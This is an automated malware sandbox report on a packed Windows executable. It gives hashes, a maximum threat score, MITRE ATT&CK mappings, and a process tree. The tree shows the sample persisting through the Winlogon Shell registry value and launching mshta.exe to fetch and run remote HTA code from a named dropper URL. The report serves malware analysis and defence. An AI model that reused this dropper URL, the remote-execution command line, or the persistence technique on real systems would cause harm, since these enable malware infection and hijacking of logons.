6f3b2c835726e2cf4eda147bdafbe0764bbb7502dfdc53d55f2f3d9e65071d51

Analysis

max time kernel
9s
max time network
12s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
03-02-2024 21:00

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Reason

Machine shutdown

Report Analysis Logs

General

Target

8d557a73f900f33cf09ee75f9f69b0ba.exe
Size

621KB
MD5

8d557a73f900f33cf09ee75f9f69b0ba
SHA1

986e6e69aa0fa1e68128dee587b9bf3cf4c780c2
SHA256

6f3b2c835726e2cf4eda147bdafbe0764bbb7502dfdc53d55f2f3d9e65071d51
SHA512

8082c6811185c3634cd91e854bed91b772ca65082185fa6c99b63ed13891d4022c61c864e0dcd257c19f2d847f036b5cf9be2bd4a6ae66cdd632b7082e4b041e
SSDEEP

12288:DFrXoPDc6TR74di5m7bZH1E8ADzdNMdQRe+/hRmpg3PCLMUfB9K:5ToPQER7Qom/ZHeDbMdWiLvfBY

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://fyreport.com/inst.php?id=skytraf01

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe"	8d557a73f900f33cf09ee75f9f69b0ba.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2412-0-0x0000000000400000-0x00000000006C3000-memory.dmp	upx
behavioral1/memory/2412-14-0x0000000000400000-0x00000000006C3000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe
2412	8d557a73f900f33cf09ee75f9f69b0ba.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 1796	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	28
PID 2412 wrote to memory of 1796	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	28
PID 2412 wrote to memory of 1796	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	28
PID 2412 wrote to memory of 1796	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	28
PID 2412 wrote to memory of 1200	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	30
PID 2412 wrote to memory of 1200	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	30
PID 2412 wrote to memory of 1200	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	30
PID 2412 wrote to memory of 1200	2412	8d557a73f900f33cf09ee75f9f69b0ba.exe	30

C:\Users\Admin\AppData\Local\Temp\8d557a73f900f33cf09ee75f9f69b0ba.exe
"C:\Users\Admin\AppData\Local\Temp\8d557a73f900f33cf09ee75f9f69b0ba.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://fyreport.com/inst.php?id=skytraf01
  2⤵
  - Modifies Internet Explorer settings
  PID:1796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat" "
  2⤵
  PID:1200

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2700

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat

Filesize
238B

MD5
63fafe65c5a7128b5d7cd1f9f81e5d1f

SHA1
04bef31fa83ea29b0660a18365806c163ac92747

SHA256
f89e63c1d83afa4673b2de7bff83e073aee789958fbcc3397c121178198579d1

SHA512
1d2115028c46a007a8bdd47a7d6a61cff2250c7946b76a928a362ed9a4ce15d73f34559396b42547d89a0681bdd8a794803258a24ee4b438f7d95b04ce0d9807

Download Submit
memory/2412-0-0x0000000000400000-0x00000000006C3000-memory.dmp

Filesize
2.8MB

Download
memory/2412-1-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/2412-2-0x0000000003AD0000-0x0000000003AE0000-memory.dmp

Filesize
64KB

Download
memory/2412-14-0x0000000000400000-0x00000000006C3000-memory.dmp

Filesize
2.8MB

Download
memory/2544-15-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download
memory/2700-13-0x00000000029C0000-0x00000000029C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads